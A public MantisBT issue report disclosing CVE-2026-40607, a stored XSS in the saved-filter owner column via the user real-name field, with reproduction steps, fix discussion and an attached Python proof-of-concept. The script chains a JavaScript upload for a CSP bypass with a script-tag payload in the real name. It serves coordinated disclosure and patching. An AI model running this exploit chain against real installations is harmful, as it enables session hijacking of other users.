View Issue Details

IDProjectCategoryView StatusLast Update
0037015mantisbtsecuritypublic2026-05-09 19:56
Reportersiunam Assigned Todregad  
PriorityhighSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Product Version2.1.0 
Target Version2.28.2Fixed in Version2.28.2 
Summary0037015: CVE-2026-40607: Stored XSS in Saved-Filter Owner Column (Manager+)
Description

In manage_filter_page.php line 110 (function table_print_filter_row), the saved filter's owner username or real name is not HTML entity encoded:

function table_print_filter_row( $p_filter_id ) {
    // [...]
    echo '<td>' . user_get_name( filter_get_field( $p_filter_id, 'user_id' ) ) . '</td>';
    // [...]
}

In function user_get_name, it'll return the value of returned value in function user_get_name_from_row. Inside that function, if config option show_realname is enabled (user_show_realname), the function will return the user's real name instead of their username:

function user_get_name( $p_user_id ) {
    // [...]
    return user_get_name_from_row( $t_row );
}
function user_get_name_from_row( array $p_user_row ) {
    if( user_show_realname() ) {
        if( !is_blank( $p_user_row['realname'] ) ) {
            return $p_user_row['realname'];
        }
    }

    return $p_user_row['username'];
}

Although the username is properly sanitized in other endpoints, the real name does not have any sanitization. Therefore, the attacker can inject an HTML injection or an XSS payload into their account's real name field value.

Note 1: By default, only users with access level "Manager" or above can save their filters publicly ("Save filters as shared").
Note 2: The Content Security Policy (CSP) can be bypassed, as mentioned in https://mantisbt.org/bugs/view.php?id=37011.

Steps To Reproduce
  1. Enable configuration show_realname by setting an integer value 1 in config/config_inc.php or /adm_config_report.php if needed
  2. Create a new public filter as the attacker user (Requires access level "Manager" or above)
  3. Update the attacker's real name to an HTML injection or XSS payload
  4. The victim visits /manage_filter_page.php to trigger the payload
Additional Information

A Proof-of-Concept MP4 video (poc.mp4) and a Python script (poc.py) are attached.

TagsNo tags attached.
Attached Files
poc.py (6,581 bytes)   
import requests
import random
import string
from bs4 import BeautifulSoup

RANDOM_STRING_CHARACTER_SET = string.ascii_letters + string.digits

class Poc:
    def __init__(self, baseUrl):
        self.baseUrl = baseUrl
        self.ISSUE_CATEGORY_GENERAL_ID = 1
        self.ISSUE_PUBLIC_VIEW_STATE = 10
        self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME = 'bug_report_token'
        self.CREATE_NEW_FILTER_CSRF_TOKEN_NAME = 'query_store_token'
        self.SHOW_REAL_NAME_OPTION_NAME = 'show_realname'

        self.CREATE_NEW_ISSUE_PAGE_ENDPOINT = f'{self.baseUrl}/bug_report_page.php'
        self.CREATE_NEW_ISSUE_ENDPOINT = f'{self.baseUrl}/bug_report.php'
        self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php'
        self.CREATE_NEW_FILTER_PAGE_ENDPOINT = f'{self.baseUrl}/query_store_page.php'
        self.CREATE_NEW_FILTER_ENDPOINT = f'{self.baseUrl}/query_store.php'
        self.MANAGE_FILTERS_PAGE_ENDPOINT = f'{self.baseUrl}/manage_filter_page.php'
        self.REST_GET_MY_USER_INFO_ENDPOINT = f'{self.baseUrl}/api/rest/users/me'
        self.REST_GET_CONFIG_OPTION_ENDPOINT = f'{self.baseUrl}/api/rest/config'
        self.REST_GET_ALL_FILTERS_ENDPOINT = f'{self.baseUrl}/api/rest/filters'
        self.REST_UPDATE_USER_ENDPOINT = f'{self.baseUrl}/api/rest/users/{{user_id}}'

    @staticmethod
    def generateRandomString(length):
        return ''.join(random.choice(RANDOM_STRING_CHARACTER_SET) for _ in range(length))

    def login(self, account):
        data = {
            'username': account['username'],
            'password': account['password']
        }
        response = account['session'].post(self.LOGIN_ENDPOINT, data=data)
        response.raise_for_status()

    def getCurrentUserInfo(self, account):
        response = account['session'].get(self.REST_GET_MY_USER_INFO_ENDPOINT)
        response.raise_for_status()
        return response.json()

    def getCSRFToken(self, endpoint, account, csrfTokenName):
        response = account['session'].get(endpoint)
        response.raise_for_status()

        soup = BeautifulSoup(response.text, 'html.parser')
        csrf_token = soup.find('input', {'name': csrfTokenName})['value']
        return csrf_token

    def uploadJavaScriptFile(self, account, filename, payload):
        files = { 'ufile[0]': (filename, payload, 'application/javascript') }
        data = {
            self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME: self.getCSRFToken(self.CREATE_NEW_ISSUE_PAGE_ENDPOINT, account, self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME),
            'project_id': account['user_info']['projects'][0]['id'],
            'category_id': self.ISSUE_CATEGORY_GENERAL_ID,
            'summary': 'CSP Bypass PoC',
            'description': 'CSP Bypass PoC',
            'view_state': self.ISSUE_PUBLIC_VIEW_STATE
        }
        response = account['session'].post(self.CREATE_NEW_ISSUE_ENDPOINT, files=files, data=data)
        response.raise_for_status()

        soup = BeautifulSoup(response.text, 'html.parser')
        fileEndpoint = soup.find('a', attrs={'href': lambda x: x and 'file_download.php' in x})['href']
        return fileEndpoint
    
    def getConfigOption(self, account, optionName):
        response = account['session'].get(self.REST_GET_CONFIG_OPTION_ENDPOINT, params={'option': optionName})
        response.raise_for_status()
        return response.json()['configs'][0]['value']

    def isShowRealNameEnabled(self, account):
        return self.getConfigOption(account, self.SHOW_REAL_NAME_OPTION_NAME) == 1

    def createNewPublicFilter(self, account, filterName):
        data = {
            self.CREATE_NEW_FILTER_CSRF_TOKEN_NAME: self.getCSRFToken(self.CREATE_NEW_FILTER_PAGE_ENDPOINT, account, self.CREATE_NEW_FILTER_CSRF_TOKEN_NAME),
            'query_name': filterName,
            'is_public': 'on',
            'all_projects': 'on'
        }
        response = account['session'].post(self.CREATE_NEW_FILTER_ENDPOINT, data=data)
        response.raise_for_status()

    def updateUserRealName(self, account, userId, realName):
        data = {
            'user': {
                'real_name': realName
            }
        }
        response = account['session'].patch(self.REST_UPDATE_USER_ENDPOINT.format(user_id=userId), json=data)
        response.raise_for_status()

    def execute(self, accounts):
        # 1. Log in as a user with at least Manager access level to be able to upload files and create public filters
        self.login(accounts['manager'])
        accounts['manager']['user_info'] = self.getCurrentUserInfo(accounts['manager'])
        print(f'[+] Logged in as {accounts["manager"]["username"]}')

        # 2. Check if the "show_realname" config option is enabled, as it's required for the exploit to work
        if not self.isShowRealNameEnabled(accounts['manager']):
            print(f'[-] The "{self.SHOW_REAL_NAME_OPTION_NAME}" config option is disabled. Please enable it to proceed with the exploit.')
            return

        javascriptPayload = '''
#!/usr/bin/env node
alert(origin);
'''.strip()
        # 3. Upload the XSS JavaScript file using the manager account for CSP `script-src: 'self'` bypass
        XSSFileEndpoint = self.uploadJavaScriptFile(accounts['manager'], 'xss.js', javascriptPayload)
        print(f'[+] Uploaded JavaScript file as {accounts["manager"]["username"]} | File Endpoint: {XSSFileEndpoint}')

        # 4. Create and save a new public filter
        randomFilterName = self.generateRandomString(8)
        self.createNewPublicFilter(accounts['manager'], randomFilterName)
        print(f'[+] Created new public filter with name: {randomFilterName}')

        # 5. Update the attacker's real name to the XSS payload with the uploaded JavaScript file endpoint
        xssPayloadWithFileEndpoint = f'<script src="/{XSSFileEndpoint}"></script>'
        self.updateUserRealName(accounts['manager'], accounts['manager']['user_info']['id'], xssPayloadWithFileEndpoint)
        print(f'[+] Updated real name of {accounts["manager"]["username"]} to the XSS payload with the uploaded JavaScript file endpoint')
        print(f'[+] PoC executed successfully! The XSS payload will be triggered when any user views the owner column of the saved filter with the malicious real name by visiting:\n{self.MANAGE_FILTERS_PAGE_ENDPOINT}')

if __name__ == '__main__':
    baseUrl = 'http://localhost:8080'
    accounts = {
        'manager': {
            'username': 'manager',
            'password': 'password',
            'session': requests.Session()
        }
    }

    poc = Poc(baseUrl)
    poc.execute(accounts)
poc.py (6,581 bytes)   
poc.mp4 (1,444,938 bytes)   

Activities

atrol

atrol

2026-04-12 17:09

developer   ~0070981

Time that I restart working on my long time open WIP PR where this issue and some more would have been fixed.

dregad

dregad

2026-04-12 19:43

developer   ~0070987

Advisory: https://github.com/mantisbt/mantisbt/security/advisories/GHSA-f633-865q-2mhh
CVE request sent

Patch for review: https://github.com/mantisbt/mantisbt-ghsa-f633-865q-2mhh/pull/1

siunam

siunam

2026-04-13 00:14

reporter   ~0070992

Patch for review: https://github.com/mantisbt/mantisbt-ghsa-f633-865q-2mhh/pull/1

I confirmed the vulnerability can't be reproduced after the patch. LGTM!

Time that I restart working on my long time open WIP PR where this issue and some more would have been fixed.

Also, I think this PR can also be merged?

siunam

siunam

2026-04-13 00:50

reporter   ~0070996

For the CVSS score, I think it should be 7.3: CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N. "User Interaction" should be "Passive".

dregad

dregad

2026-04-13 04:15

developer   ~0071002

Thanks for reviewing. I have updated the Advisory.

dregad

dregad

2026-04-17 02:46

developer   ~0071013

CVE-2026-40607 assigned

Related Changesets

MantisBT: master-2.28 44f490bc

2026-04-12 19:40

dregad


Details Diff
Fix XSS in manage_filter_page.php

Escape the filter owner for display.

Fixes 0037015, GHSA-f633-865q-2mhh
Affected Issues
0037015
mod - manage_filter_page.php Diff File